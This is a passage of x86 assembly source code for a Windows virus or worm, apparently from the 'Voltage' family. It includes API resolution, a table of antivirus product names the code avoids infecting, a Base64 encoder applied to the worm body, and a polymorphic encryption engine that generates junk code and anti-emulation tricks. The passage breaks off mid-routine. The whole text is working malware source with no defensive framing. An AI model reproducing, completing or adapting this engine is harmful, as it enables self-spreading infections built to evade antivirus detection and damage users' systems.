        _CreateMutexA           db      "CreateMutexA",0
        _OpenMutexA             db      "OpenMutexA",0
        _FindFirstFileA         db      "FindFirstFileA",0
        _FindNextFileA          db      "FindNextFileA",0
        _SetCurrentDirectoryA   db      "SetCurrentDirectoryA",0
        _WriteFile              db      "WriteFile",0
        _FindClose              db      "FindClose",0
        _MultiByteToWideChar    db      "MultiByteToWideChar",0
        _lstrcatA               db      "lstrcatA",0
        _CreateThread           db      "CreateThread",0
        _GetModuleHandle        db      "GetModuleHandleA",0
        _Sleep                  db      "Sleep",0
        _WaitForSingleObject    db      "WaitForSingleObject",0
        _ExitThread             db      "ExitThread",0
        _ExitProcess            db      "ExitProcess",0
        _GetDriveTypeA          db      "GetDriveTypeA",0
        _GetFullPathNameA       db      "GetFullPathNameA",0
        _WinExec                db      "WinExec",0
        _VirtualProtect         db      "VirtualProtect",0
        _SetUnhandledExceptionFilter    db      "SetUnhandledExceptionFilter",0
        _DeleteFileA            db      "DeleteFileA",0
        _GetTempPathA           db      "GetTempPathA",0
        _ReadFile               db      "ReadFile",0
        _CopyFileA              db      "CopyFileA",0
        _GetWindowsDirectoryA   db      "GetWindowsDirectoryA",0
        
        
IF      DEBUG
        _OutputDebugString      db      "OutputDebugStringA",0
ENDIF
        
ApiAddressTable:
        
        CreateFile              dd      0
        CloseHandle             dd      0
        CreateFileMapping       dd      0
        MapViewOfFile           dd      0
        UnMapViewOfFile         dd      0
        LoadLibrary             dd      0
        FreeLibrary             dd      0
        GetModuleFileName       dd      0
        SetFileAttributes       dd      0
        GetFileSize             dd      0
        SetFilePointer          dd      0
        SetEndOfFile            dd      0
        GetTickCount            dd      0
        GlobalAlloc             dd      0
        GlobalFree              dd      0
        GetLocalTime            dd      0
        GetFileAttributes       dd      0
        GetFileTime             dd      0
        SetFileTime             dd      0
        CreateMutex             dd      0
        OpenMutex               dd      0
        FindFirstFile           dd      0
        FindNextFile            dd      0
        SetCurrentDirectory     dd      0
        WriteFile               dd      0
        FindClose               dd      0
        MultiByteToWideChar     dd      0
        lstrcat                 dd      0
        CreateThread            dd      0
        GetModuleHandle         dd      0
        Sleep                   dd      0
        WaitForSingleObject     dd      0
        ExitThread              dd      0
        ExitProcess             dd      0
        GetDriveType            dd      0
        GetFullPathName         dd      0
        WinExec                 dd      0
        VirtualProtect          dd      0
        SetUnhandledExceptionFilter     dd      0
        DeleteFileA             dd      0
        GetTempPath             dd      0
        ReadFile                dd      0
        CopyFile                dd      0
        GetWindowsDirectory     dd      0
        
        
IF      DEBUG
        OutputDebugString       dd      0
ENDIF
        
        NumberOfApis            equ     44
        
        dd      0,0


        _GetProcAddress         db      "GetProcAddress",0
        __GetProcAddress        dd      0
        
;ecx - number of apis
;eax - address to api strings
;ebx - address to api address
;edx - module handle
GetNextAPI:
        push    ecx
        push    edx
        push    eax
        push    eax
        push    edx
        call    [ebp + __GetProcAddress]
        or      eax,eax
        je      ApiErr
        mov     dword ptr [ebx],eax
        pop     eax
NextSTR:inc     eax
        cmp     byte ptr [eax],0h
        jne     NextSTR
        inc     eax
        add     ebx,4h
        pop     edx
        pop     ecx
        loop    GetNextAPI
        stc
        ret
ApiErr: add     esp,0ch
        clc
        ret     
        
;check if file is related to av programs or canot be infected
;input:
;esi - file name
;output:
;carry flag

CheckFileName:
        lea     esi,[ebp + FileToInfect]
        xor     ecx,ecx
@checkV:cmp     byte ptr [esi + ecx],'v'
        je      badfile
        cmp     byte ptr [esi + ecx],'V'
        je      badfile
        cmp     byte ptr [esi + ecx],0h
        je      no_v
        inc     ecx
        jmp     @checkV
no_v:   push    esi                     ;save file name for later use
        mov     ecx,TwoBytesNames       ;scan for 2 bytes bad name
        lea     edi,[ebp + DontInfectTable]
l2:     mov     bx,word ptr [edi]
l2_1:   mov     ax,word ptr [esi]
        cmp     ax,bx
        je      ex_rs
        add     bx,2020h
        cmp     ax,bx
        je      ex_rs
        sub     bx,2020h
        inc     esi
        cmp     byte ptr [esi],0h
        jne     l2_1
        mov     esi,[esp]               ;restore file name      
        add     edi,2h
        loop    l2
        mov     ecx,FourBytesNames      ;scan for 4 bytes bad name
        lea     edi,[ebp + DontInfectTable + (2*TwoBytesNames)]
        mov     esi,[esp]               ;get file name
l3:     mov     ebx,dword ptr [edi]
l3_1:   mov     eax,dword ptr [esi]
        cmp     eax,ebx
        je      ex_rs
        add     ebx,20202020h
        cmp     eax,ebx
        je      ex_rs
        sub     ebx,20202020h
        inc     esi
        cmp     byte ptr [esi],0h
        jne     l3_1
        mov     esi,[esp]
        add     edi,4h
        loop    l3
        pop     esi
        stc
        ret
ex_rs:  pop     esi
badfile:clc
        ret
        
DontInfectTable:

        db      "FP"
        db      "TB"
        db      "AW"
        db      "DR"
        db      "F-"
        TwoBytesNames   equ     5
        db      "INOC"
        db      "PAND"
        db      "ANTI"
        db      "AMON"
        db      "N32S"
        db      "NOD3"
        db      "NPSS"
        db      "SMSS"
        db      "SCAN"
        db      "ZONE"
        db      "PROT"
        db      "MONI"
        db      "RWEB"
        db      "MIRC"
        db      "CKDO"
        db      "TROJ"
        db      "SAFE"
        db      "JEDI"
        db      "TRAY"          
        db      "ANDA"  
        db      "SPID"          
        db      "PLOR"
        db      "NDLL"          
        db      "TREN"
        db      "NSPL"
        db      "NSCH"
        db      "SYST"          ;dont infect files in system directory
        db      "ALER"


        FourBytesNames  equ     28      

CreateVirusBase64Image:
        push    0h
        push    FILE_ATTRIBUTE_NORMAL
        push    OPEN_EXISTING
        push    0h
        push    FILE_SHARE_READ
        push    GENERIC_WRITE or GENERIC_READ
        cmp     byte ptr [ebp + use_rar_file],0h
        je      usexe
        lea     eax,[ebp + FileToInfect]
        jmp     __mb64
usexe:  lea     eax,[ebp + MorphedWorm]
__mb64: push    eax
        call    [ebp + CreateFile]
        cmp     eax,INVALID_HANDLE_VALUE
        je      Base64CreationErr
        mov     [ebp + hvirusfile],eax
        ;get file size:
        push    0
        push    [ebp + hvirusfile]
        call    [ebp + GetFileSize]
        cmp     eax,0ffffffffh
        je      CloseFileErr
        mov     [ebp + virusfilesize],eax
        push    eax
        xor     edx,edx
        mov     ecx,3h
        div     ecx
        xchg    ecx,eax
        pop     eax
        add     eax,ecx
        mov     ecx,45
        mul     ecx
        add     eax,400h        ;allocate more memory than needed,just for safty
        push    eax
        push    GPTR
        call    [ebp + GlobalAlloc]     ;allocate memory
        cmp     eax,0h
        je      CloseFileErr
        mov     [ebp + base64outputmem],eax
        ;map file into the memory
        xor     eax,eax
        push    eax
        push    [ebp + virusfilesize]
        add     dword ptr [esp],512d
        push    eax
        push    PAGE_READWRITE
        push    eax
        push    dword ptr [ebp + hvirusfile]
        call    [ebp + CreateFileMapping]
        cmp     eax,0h
        je      B64FreeMemErr
        mov     [ebp + hvirusmap],eax
        xor     eax,eax
        push    [ebp + virusfilesize]
        add     dword ptr [esp],512d
        push    eax
        push    eax
        push    FILE_MAP_WRITE
        push    dword ptr [ebp + hvirusmap]
        call    [ebp + MapViewOfFile]
        cmp     eax,0h
        je      B64CloseMapErr
        mov     [ebp + hvirusinmem],eax
        xchg    eax,esi
        mov     edi,[ebp + base64outputmem]
        mov     ecx,[ebp + virusfilesize]
        call    Base64
        mov     [ebp + sizeofbase64out],eax
        push    [ebp + hvirusinmem]
        call    [ebp + UnMapViewOfFile]
        push    [ebp + hvirusmap]
        call    [ebp + CloseHandle]
        push    [ebp + hvirusfile]
        call    [ebp + CloseHandle]
        stc
        ret
B64CloseMapErr:
        push    dword ptr [ebp + hvirusmap]
        call    [ebp + CloseHandle]
B64FreeMemErr:
        push    dword ptr [ebp + base64outputmem]
        call    [ebp + GlobalFree]
CloseFileErr:
        push    [ebp + hvirusfile]
        call    [ebp + CloseHandle]
Base64CreationErr:
        clc
        ret     

        hvirusfile      dd      0
        virusfilesize   dd      0
        base64outputmem dd      0
        sizeofbase64out dd      0
        hvirusmap       dd      0
        hvirusinmem     dd      0

;Base64 encoder (c) DR-EF - v2.1
;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
;thats the same base64 encoder that was 
;at win32.voltage with padding support
;input:
;esi - data source
;edi - where to write encoded data
;ecx - size of data to encode
;output:
;eax - size of encoded data
;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Base64: xor     edx,edx 
        push    ecx
        push    ecx
        mov     eax,ecx
        mov     ecx,3h
        div     ecx
        or      edx,edx
        jne     setr
        mov     ecx,edx
        jmp     nori
setr:   sub     ecx,edx
nori:   mov     [esp+4h],ecx
        pop     ecx
        xor     edx,edx
        push    edx
@3Bytes:push    edx
        xor     eax,eax
        xor     ebx,ebx
        or      al,byte ptr [esi]
        shl     eax,8h
        inc     esi
        or      al,byte ptr [esi]
        shl     eax,8h
        inc     esi
        or      al,byte ptr [esi]
        inc     esi
        push    ecx
        mov     ecx,4h
@outbit:mov     ebx,eax
        and     ebx,3fh                         ;leave only 6 bits
        lea     edx,[ebp + Base64Table]
        mov     bl,byte ptr [ebx + edx]
        mov     byte ptr [edi + ecx - 1h],bl
        shr     eax,6h
        loop    @outbit
        add     edi,4h
        pop     ecx
        pop     edx
        add     edx,4h  
        add     dword ptr [esp],4h
        sub     ecx,3h
        jecxz   ExitB64
        cmp     ecx,0
        jb      ExitB64
        rcl     ecx,1h
        jc      ExitB64
        rcr     ecx,1h
        cmp     edx,4ch                         ;did we need to add new line ?
        jne     DoLoop
        xor     edx,edx
        mov     word ptr [edi],0a0dh
        add     edi,2h
        add     dword ptr [esp],2h
DoLoop: or      ecx,ecx
        jne     @3Bytes
ExitB64:pop     eax
        pop     ecx
        jecxz   b64out                          ;data is aligned by 3,all fine  
        cmp     ecx,1h
        jne     @pad2
        mov     byte ptr [edi-1h],'='
        jmp     b64out
@pad2:  mov     word ptr [edi-2h],'=='
b64out: ret
        
Base64Table     db      "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"      
        
;Voltage PolyMorphic Engine:
;---------------------------
;encrypt code with 4 bytes key with diffrent way each time
;and create polymorphic decryptor,the polymorphic decryptor
;has diffrent instructions that do the same thing mixed with
;junk code & anti emulation trixs


CreateDecryptor:
        call    InitRandomNumber        ;init random number generator
        call    GenRandomNumber
        and     eax,1f40h               ;get random numebr between 0 ~ 8000
        cmp     eax,7d0h
        ja      NextM
        mov     byte ptr [ebp + EncryptionMethod],1h ;use not
        jmp     EncryptVirus
NextM:  cmp     eax,0fa0h
        ja      NextM2
        mov     byte ptr [ebp + EncryptionMethod],2h ;use add
        jmp     EncryptVirus
NextM2: cmp     eax,1770h
        ja      NextM3
        mov     byte ptr [ebp + EncryptionMethod],3h ;use sub
        jmp     EncryptVirus
NextM3: mov     byte ptr [ebp + EncryptionMethod],4h ;use xor
EncryptVirus:
        call    GenRandomNumber
        mov     dword ptr [ebp + key],eax       ;get random key
        xor     eax,eax
        mov     ecx,[ebp + SizeOfDataToEncrypt]         ;size of data in words
        mov     edi,[ebp + StartOfDataToEncrypt]
        mov     esi,edi
@enc:   lodsd
        cmp     byte ptr [ebp + EncryptionMethod],1h    ;is not ?
        jne     NextE
        not     eax
        jmp     _stosw
NextE:  cmp     byte ptr [ebp + EncryptionMethod],2h    ;is add ?
        jne     NextE2
        add     eax,dword ptr [ebp + key]
        jmp     _stosw
NextE2: cmp     byte ptr [ebp + EncryptionMethod],3h    ;is sub ?
        jne     NextE4
        sub     eax,dword ptr [ebp + key]
        jmp     _stosw
NextE4: xor     eax,dword ptr [ebp + key]               ;xor
_stosw: stosd
        loop    @enc
        mov     edi,[ebp + WhereToWriteDecryptor]
        call    WriteJunkCode
        call    WriteInstruction2
        call    WriteJunkCode
        call    WriteInstruction3
        call    WriteJunkCode
        call    WriteInstruction4
        call    WriteJunkCode
        mov     dword ptr [ebp + PolyBuffer],edi        ;saved for loop
        call    WriteInstruction5
        call    WriteJunkCode
        call    WriteInstruction6
        call    WriteJunkCode
        call    WriteInstruction7
        call    WriteJunkCode
        call    WriteInstruction8
        call    WriteJunkCode
        call    WriteInstruction9
        call    WriteJunkCode
        ret
        
        EncryptionMethod        db      0       ;1=not 2=add 3=sub 4=xor
        key                     dd      0
        WhereToWriteDecryptor   dd      0
        StartOfDataToEncrypt    dd      0
        ProgramImageBase        dd      0
        PolyBuffer              dd      0
        SizeOfDataToEncrypt     dd      0       ;virus size in dwords
        FixRVA                  dd      0

        CustomXDecryptPoint     dd      0
        
        


        

                
WriteInstruction2:
        ;this function set esi register to start of encrypted virus
        call    GenRandomNumber
        mov     ebx,[ebp + CustomXDecryptPoint]
        and     eax,0ffh                ;get random number between 0 ~ 255
        cmp     eax,33h
        ja      ins2_1
        mov     byte ptr [edi],0beh     ;way 1:
        mov     dword ptr [edi + 1],ebx ;mov esi,StartOfDataToEncrypt
        add     edi,5h
        jmp     retins2
ins2_1: cmp     eax,66h
        ja      ins2_2
        mov     byte ptr [edi],68h      ;way 2:
        mov     dword ptr [edi + 1],ebx ;push   StartOfDataToEncrypt
        add     edi,5h
        call    WriteJunkCode           ;pop    esi
        mov     byte ptr [edi],5eh
        inc     edi
        jmp     retins2
ins2_2: cmp     eax,99h
        ja      ins2_3
        mov     word ptr [edi],0f633h   ;way 3:
        add     edi,2h                  ;xor esi,esi
        push    ebx
        call    WriteJunkCode
        pop     ebx
        call    _ins2oresival
        jmp     retins2
ins2_3: cmp     eax,0cch
        ja      ins2_4
        mov     word ptr [edi],0f62bh   ;way 4
        add     edi,2h                  ;sub esi,esi
        push    ebx
        call    WriteJunkCode
        pop     ebx
        call    _ins2oresival           
        jmp     retins2
ins2_4: not     ebx                     ;way 5
        mov     byte ptr [edi],0beh     ;mov esi,not StartOfDataToEncrypt
        mov     dword ptr [edi + 1],ebx 
        add     edi,5h
        call    WriteJunkCode
        mov     word ptr [edi],0d6f7h   ;not esi
        add     edi,2h
retins2:ret
_ins2oresival:
        ;write or esi,StartOfDataToEncrypt instruction
        mov     word ptr [edi],0ce81h
        mov     dword ptr [edi + 2],ebx
        add     edi,6h
        ret
        
WriteInstruction3:
        ;this function set edi register to esi register
        call    GenRandomNumber
        and     eax,0c8h
        cmp     eax,32h
        ja      ins3_1
        mov     word ptr [edi],0fe8bh   ;mov edi,esi
        add     edi,2h
        jmp     retins3
ins3_1: cmp     eax,64h
        ja      ins3_2
        mov     byte ptr [edi],56h      ;push esi
        inc     edi
        call    WriteJunkCode
        mov     byte ptr [edi],5fh      ;pop edi
        inc     edi
        jmp     retins3
ins3_2: cmp     eax,96h
        ja      ins3_3
        mov     word ptr [edi],0fe87h   ;xchg edi esi
        add     edi,2h
        call    WriteJunkCode
        mov     word ptr [edi],0f78bh   ;mov esi,edi
        add     edi,2h
        jmp     retins3
ins3_3: mov     word ptr [edi],0f787h   ;xchg edi esi
        add     edi,2h
        call    WriteJunkCode
        mov     word ptr [edi],0f78bh   ;mov esi,edi
        add     edi,2h
retins3:ret

WriteInstruction4:
        ;this function set ecx with the size of the virus in dwords
        call    GenRandomNumber
        mov     ebx,[ebp + SizeOfDataToEncrypt]
        and     eax,0ffh
        cmp     eax,33h
        ja      ins4_1
        mov     byte ptr [edi],0b9h     ;mov ecx,sizeofvirusindwords
        mov     dword ptr [edi + 1],ebx
        add     edi,5h
        jmp     retins4 
ins4_1: cmp     eax,66h
        ja      ins4_2
        mov     byte ptr [edi],68h      ;push sizeofvirusindwords
        mov     dword ptr [edi + 1],ebx
        add     edi,5h
        call    WriteJunkCode
        mov     byte ptr [edi],59h      ;pop ecx
        inc     edi
        jmp     retins4 
ins4_2: cmp     eax,99h
        ja      ins4_3
        mov     word ptr [edi],0c933h   ;xor ecx,ecx
        add     edi,2h
        push    ebx
        call    WriteJunkCode
        pop     ebx
        call    _ins4orecxval
        jmp     retins4 
ins4_3: cmp     eax,0cch
        ja      ins4_4
        mov     word ptr [edi],0c92bh   ;sub ecx,ecx
        add     edi,2h
        push    ebx
        call    WriteJunkCode
        pop     ebx
        call    _ins4orecxval
        jmp     retins4
ins4_4: not     ebx
        mov     byte ptr [edi],0b9h     ;mov ecx,not sizeofvirusindwords
        mov     dword ptr [edi + 1],ebx
        add     edi,5h
        call    WriteJunkCode
        mov     word ptr [edi],0d1f7h
        add     edi,2h
retins4:ret
_ins4orecxval:
        mov     word ptr [edi],0c981h
        mov     dword ptr [edi + 2],ebx
        add     edi,6h
        ret
WriteInstruction5:
        ;this function read 4 bytes from [esi] into eax
        ;and add to esi register 4 (if there is need to do so).
        call    GenRandomNumber
        and     eax,12ch
        cmp     eax,64h
        ja      ins5_1
        mov     byte ptr [edi],0adh     ;lodsd
        inc     edi
        jmp     retins5
ins5_1: cmp     eax,0c8h
        ja      ins5_2
        mov     word ptr [edi],068bh    ;mov eax,dword ptr [esi]
        add     edi,2h
        call    _ins5addesi4
        jmp     retins5
ins5_2: mov     word ptr [edi],36ffh    ;push dword ptr [esi]
        add     edi,2h
        call    WriteJunkCode
        mov     byte ptr [edi],58h      ;pop eax
        inc     edi
        call    _ins5addesi4
retins5:ret

_ins5addesi4:
        ;this function write add to esi register 4
        call    GenRandomNumber
        and     eax,64h
        cmp     eax,32h
        ja      addesi4_2
        mov     word ptr [edi],0c683h   ;way 1
        mov     byte ptr [edi + 2],4h   ;add esi,4h
        add     edi,3h
        jmp     raddesi
addesi4_2:
        mov     ecx,4h          ;way 2
@incesi:mov     byte ptr [edi],46h
        inc     edi
        call    WriteJunkCode
        loop    @incesi
raddesi:ret


WriteInstruction6:
        ;this function decrypt the value of eax
        mov     ebx,dword ptr [ebp + key]
        cmp     byte ptr [ebp + EncryptionMethod],1h
        jne     ins6_1
        mov     word ptr [edi],0d0f7h   ;not eax
        add     edi,2h
        jmp     retins6
ins6_1: cmp     byte ptr [ebp + EncryptionMethod],2h
        jne     ins6_2
        mov     byte ptr [edi],2dh      ;sub eax,key
        mov     dword ptr [edi + 1],ebx
        add     edi,5h
        jmp     retins6
ins6_2: cmp     byte ptr [ebp + EncryptionMethod],3h
        jne     ins6_3
        mov     byte ptr [edi],05h      ;add eax,key
        mov     dword ptr [edi + 1],ebx
        add     edi,5h
        jmp     retins6
ins6_3: mov     byte ptr [edi],35h
        mov     dword ptr [edi + 1],ebx ;xor eax,key
        add     edi,5h
        jmp     retins6
retins6:ret




WriteInstruction7:
        ;this function copy the value of eax to [edi]
        call    GenRandomNumber
        and     eax,258h
        cmp     eax,0c8h
        ja      ins7_1
        mov     byte ptr [edi],0abh     ;stosd
        inc     edi
        jmp     retins7
ins7_1: cmp     eax,190h
        ja      ins7_2
        mov     word ptr [edi],0789h    ;mov dword ptr [edi],eax
        add     edi,2h
        call    WriteJunkCode
        call    addedi4
        jmp     retins7
ins7_2: mov     byte ptr [edi],50h      ;push eax
        inc     edi
        call    WriteJunkCode
        mov     word ptr [edi],078fh    ;pop dword ptr [edi]
        add     edi,2h
        call    addedi4
retins7:ret

addedi4:
        call    GenRandomNumber
        and     eax,12ch
        cmp     eax,96h
        ja      _addedi4
        mov     word ptr [edi],0c783h
        mov     byte ptr [edi + 2],4h
        add     edi,3h
        jmp     retins7a
_addedi4:
        mov     ecx,4h
@incedi:mov     byte ptr [edi],47h      ;inc edi
        inc     edi
        call    WriteJunkCode
        loop    @incedi
retins7a:ret


WriteInstruction8:
        ;this function write the loop instruction of the decryptor
        call    GenRandomNumber
        and     eax,12ch
        cmp     eax,96h
        ja      ins8_1
        mov     byte ptr [edi],49h      ;dec ecx
        inc     edi
        call    WriteJunkCode
        mov     word ptr [edi],0f983h
        mov     byte ptr [edi + 2],0h   ;cmp ecx,0h
        add     edi,3h
        mov     eax,dword ptr [ebp + PolyBuffer]
        sub     eax,edi
        mov     byte ptr [edi],75h      ;jne
        sub     eax,2h
        mov     byte ptr [edi + 1],al
        add     edi,2h
        jmp     retins8
ins8_1: mov     eax,dword ptr [ebp + PolyBuffer]
        sub     eax,edi
        mov     byte ptr [edi],0e2h     ;loop
        sub     eax,2h
        mov     byte ptr [edi + 1],al
        add     edi,2h
retins8:ret


WriteInstruction9:
        ;this istruction write a code in the stack,that jump into virus code
        call    GenRandomNumber
        mov     ebx,[ebp + CustomXDecryptPoint]
        mov     dword ptr [ebp + push_and_ret + 1],ebx  ;save address
        ;push 'push offset' & 'ret' instructions to the stack
        ;way 1:
        ;       push xxx
        ;       push xxx
        ;way 2:
        ;       mov     reg,xxx
        ;       push    reg
        ;       mov     reg,xxx
        ;       push    reg
        ;way 3:
        ;       mov     reg,xored xxx
        ;       push    reg
        ;       xor     dword ptr [esp],xored val
        ;       mov     reg,xored xxx
        ;       push    reg
        ;       xor     dword ptr [esp],xored val
        ;------------------------------------------------------
        and     eax,4b0h
        cmp     eax,190h
        ja      I9_A
        xor     ecx,ecx                         ;way 1 !!!
        mov     cx,word ptr [ebp + push_and_ret+4]
        mov     byte ptr [edi],68h
        mov     dword ptr [edi + 1h],ecx        ;gen push xxx
        add     edi,5h
        call    WriteJunkCode
        xor     ecx,ecx
        mov     ecx,dword ptr [ebp + push_and_ret]
        mov     byte ptr [edi],68h
        mov     dword ptr [edi +1h],ecx         ;gen push xxx
        add     edi,5h  
        jmp     I9_Exit
I9_A:   cmp     eax,320h
        ja      I9_B
        xor     eax,eax
        mov     ax,word ptr [ebp + push_and_ret+4]
        call    GenMoveAndPush
        xor     eax,eax
        mov     eax,dword ptr [ebp + push_and_ret]
        call    GenMoveAndPush
        jmp     I9_Exit
I9_B:   call    GenRandomNumber
        xchg    ebx,eax
        xor     eax,eax
        mov     ax,word ptr [ebp + push_and_ret+4]
        xor     eax,ebx
        call    GenMoveAndPush
        call    _WriteJunkCode
        mov     al,81h
        stosb
        mov     ax,2434h
        stosw
        xchg    ebx,eax
        push    eax
        stosd
        xor     eax,eax
        mov     eax,dword ptr [ebp + push_and_ret]
        xor     eax,dword ptr [esp]
        call    GenMoveAndPush
        call    _WriteJunkCode
        pop     ebx
        mov     al,81h
        stosb
        mov     ax,2434h
        stosw
        xchg    ebx,eax
        stosd
I9_Exit:
        Call    WriteJunkCode
        

        call    GenRandomNumber
        
        and     eax,1000h                       ;get num between 0 ~ 4k
        cmp     eax,400h
        ja      @GJE1

        
        call    GenRandomNumber
        
        push    eax                             ;save rnd in stack
        
        
        call    GenMovRegEsp

        
        xchg    eax,ecx
        mov     ecx,8h
        div     ecx
        xchg    eax,ecx
        
        mov     eax,[esp]

        call    CGenSubRegNum

        
        sub     cl,0e9h
        add     cl,51h
        xchg    cl,al
        stosb                                   ;gen push reg
        
        ;gen add dword ptr [esp],num
                
        mov     al,81h                          ;gen add
        stosb
        mov     ax,2404h                        ;dword ptr [esp]
        stosw
        pop     eax                             ;restore rnd number
        stosd
        mov     al,0c3h                         ;gen ret
        stosb

        jmp     ExtGJE
@GJE1:  cmp     eax,800h
        ja      @GJE2
                
                
        call    GenMovRegEsp

        xchg    eax,ecx
        mov     ecx,8h
        div     ecx

        add     al,51h                          ;gen push reg
        stosb
        
        mov     al,0c3h                         ;gen ret
        stosb
        
        jmp     ExtGJE
@GJE2:  cmp     eax,0c00h
        ja      @GJE3
        mov     ax,0c354h                       ;gen push esp & ret
        stosw
        jmp     ExtGJE  
@GJE3:  mov     ax,0e4ffh                       ;gen jmp esp
        stosw
ExtGJE: ret


        ;instructions to generate in the stack:
        push_and_ret    db      68h,0,0,0,0,0c3h
        
GenXAntiEmulation:

        mov     al,50h
        stosb                                   ;gen push eax
        
        call    _WriteJunkCode
        
        mov     ax,310Fh
        stosw                                   ;gen rdtsc
                
        call    GenRandomNumber
        cmp     al,0a0h                         ;use rcl or rcr ?
        ja      GnRclx
        
        mov     ax,0d8c1h                       ;rcr
        jmp     xGnXX
GnRclx: mov     ax,0d0c1h                       ;rcl
xGnXX:  stosw
        
        call    GenRandomNumber
        stosb
        
        call    GenRandomNumber
        
        cmp     al,0a0h
        ja      GnxJc
        mov     ax,0f973h
        jmp     Xjmp2
GnxJc:  mov     ax,0f972h
Xjmp2:  stosw                                   ;gen jc or jnc to exit procedure code
        
        call    _WriteJunkCode
        
        mov     al,58h                          ;gen pop eax
        stosb

        ret

                        
;input:
;edi - dest
;cl  - reg index(0 ~ 6)
;eax - number ( if custom is used)
GenSubRegNum:
        call    GenRandomNumber
CGenSubRegNum:                          ;use custom number
        add     cl,0e9h
        cmp     cl,0ech
        jne     @gsrn
        mov     cl,0efh
@gsrn:  push    eax
        mov     ah,cl
        mov     al,81h
        stosw
        pop     eax
        stosd
        ret             
        
        
_WriteJunkCode:         ;gen junk code that dont destroy registers
        call    GenRandomNumber
        and     eax,5208h
        cmp     eax,0bb8h
        ja      _WJC1
        call    GenAndReg
        jmp     ExitJC
_WJC1:  cmp     eax,1770h
        ja      _WJC2
        call    GenJump
        jmp     ExitJC
_WJC2:  cmp     eax,2328h
        ja      _WJC3
        call    GenPushPop
        jmp     ExitJC
_WJC3:  cmp     eax,2ee0h
        ja      _WJC4
        call    GenIncDec
        jmp     ExitJC
_WJC4:  cmp     eax,3a98h
        ja      _WJC5
        call    GenMoveRegReg
        jmp     ExitJC
_WJC5:  call    OneByte
ExitJC: ret

;output cl:reg id
GenMovRegEsp:
        call    GenRandomNumber
        and     eax,00000600h
        mov     ecx,8h
        mul     ecx
        mov     cl,ah
        add     ah,0cch
        mov     al,8bh
        stosw
        ret     

;output ch:reg id
GenEmptyReg:
        call    GenRandomNumber
        xor     ecx,ecx
        and     eax,5208h       
        cmp     eax,0bb8h
        ja      _ER
        mov     ch,0c0h
        jmp     _ER_
_ER:    cmp     eax,1770h
        ja      _ER2
        mov     ch,0dbh
        jmp     _ER_
_ER2:   cmp     eax,2328h
        ja      _ER3
        mov     ch,0c9h
        jmp     _ER_
_ER3:   cmp     eax,2ee0h
        ja      _ER4
        mov     ch,0d2h
        jmp     _ER_
_ER4:   cmp     eax,3a98h
        ja      _ER5
        mov     ch,0ffh
        jmp     _ER_
_ER5:   mov     ch,0f6h
_ER_:   call    GenRandomNumber
        cmp     ah,80h
        ja      _ER__
        mov     cl,33h
        jmp     _E_R
_ER__:  mov     cl,2bh
_E_R:   mov     ax,cx
        stosw   
        ret
        

GenMoveAndPush:
        push    eax                             ;number to mov & push
No_Esp: call    GenRandomNumber
        and     al,7h
        mov     cl,al
        add     al,0b8h
        cmp     al,0bch
        je      No_Esp
        stosb
        pop     eax
        stosd
        push    ecx
        call    _WriteJunkCode                  ;gen junk between the mov and the push
        pop     eax
        add     al,50h
        stosb
        ret
                
InitRandomNumber:
        call    [ebp + GetTickCount]
        xor     eax,[ebp + RandomNumber]
        mov     [ebp + RandomNumber],eax
        ret
        RandomNumber    dd      0
GenRandomNumber:                                ;a simple random num generator
        pushad
        mov     eax,dword ptr [ebp + RandomNumber]
        and     eax,12345678h
        mov     cl,ah
        ror     eax,cl
        add     eax,98765abdh
        mov     ecx,12345678h
        mul     ecx
        add     eax,edx
        xchg    ah,al
        sub     eax,edx
        mov     dword ptr [ebp + RandomNumber],eax
        popad
        mov     eax,dword ptr [ebp + RandomNumber]
        ret

WriteJunkCode:
        call    GenRandomNumber                 ;split this procedure
        and     eax,3e8h                        ;to four procedure's
        cmp     eax,0fah                        ;in order to give each
        ja      _jnk1                           ;junkcode the same chance
        call    WriteJunkCode1
        jmp     ExitJunk
_jnk1:  cmp     eax,1f4h
        ja      _jnk2
        call    WriteJunkCode2
        jmp     ExitJunk
_jnk2:  cmp     eax,2eeh
        ja      _jnk3
        call    WriteJunkCode3
        jmp     ExitJunk
_jnk3:  call    WriteJunkCode4
ExitJunk:ret




WriteJunkCode1:
        call    GenRandomNumber
        and     eax,3e8h
        cmp     eax,0fah
        ja      _jnk_1
        call    GenAndReg       ;1
        jmp     ExtJunk1
_jnk_1: cmp     eax,1f4h
        ja      _jnk_2
        call    GenJump         ;2
        jmp     ExtJunk1
_jnk_2: cmp     eax,2eeh
        ja      _jnk_3
        call    GenPushPop      ;3
        jmp     ExtJunk1
_jnk_3: call    GenIncDec       ;4
ExtJunk1:ret
        
        
WriteJunkCode2:
        call    GenRandomNumber
        and     eax,3e8h
        cmp     eax,0fah
        ja      _jn_k1
        call    GenMoveRegReg   ;5
        jmp     ExtJunk2
_jn_k1: cmp     eax,1f4h
        ja      _jn_k2
        call    GenAnd          ;6
        jmp     ExtJunk2
_jn_k2: cmp     eax,2eeh
        ja      _jn_k3
        call    GenMove         ;7
        jmp     ExtJunk2
_jn_k3: call    GenPushTrashPopReg      ;8
ExtJunk2:ret
        
        
WriteJunkCode3:
        call    GenRandomNumber
        and     eax,3e8h
        cmp     eax,0fah
        ja      _j_nk1
        call    GenShrReg       ;9
        jmp     ExtJunk3
_j_nk1: cmp     eax,1f4h
        ja      _j_nk2
        call    GenShlReg       ;10
        jmp     ExtJunk3
_j_nk2: cmp     eax,2eeh
        ja      _j_nk3
        call    GenRorReg       ;11
        jmp     ExtJunk3
_j_nk3: call    GenRolReg       ;12
ExtJunk3:ret
        
        
WriteJunkCode4:
        call    GenRandomNumber
        and     eax,3e8h
        cmp     eax,0fah
        ja      __jnk1
        call    GenOrReg        ;13
        jmp     ExtJunk4
__jnk1: cmp     eax,1f4h
        ja      __jnk2
        call    GenXorReg       ;14
        jmp     ExtJunk4
__jnk2: cmp     eax,2eeh
        ja      __jnk3
        call    GenSubAddTrash  ;15
        jmp     ExtJunk4
__jnk3: call    GenXAntiEmulation;16
ExtJunk4:ret




GenAndReg:
        ;this function generate and reg,reg instruction
        call    GenRandomNumber
        and     eax,1f40h
        cmp     eax,3e8h
        ja      and2
        mov     ah,0c0h
        jmp     exitand
and2:   cmp     eax,7d0h
        ja      and3
        mov     ah,0dbh
        jmp     exitand
and3:   cmp     eax,0bb8h
        ja      and4
        mov     ah,0c9h
        jmp     exitand
and4:   cmp     eax,0fa0h
        ja      and5
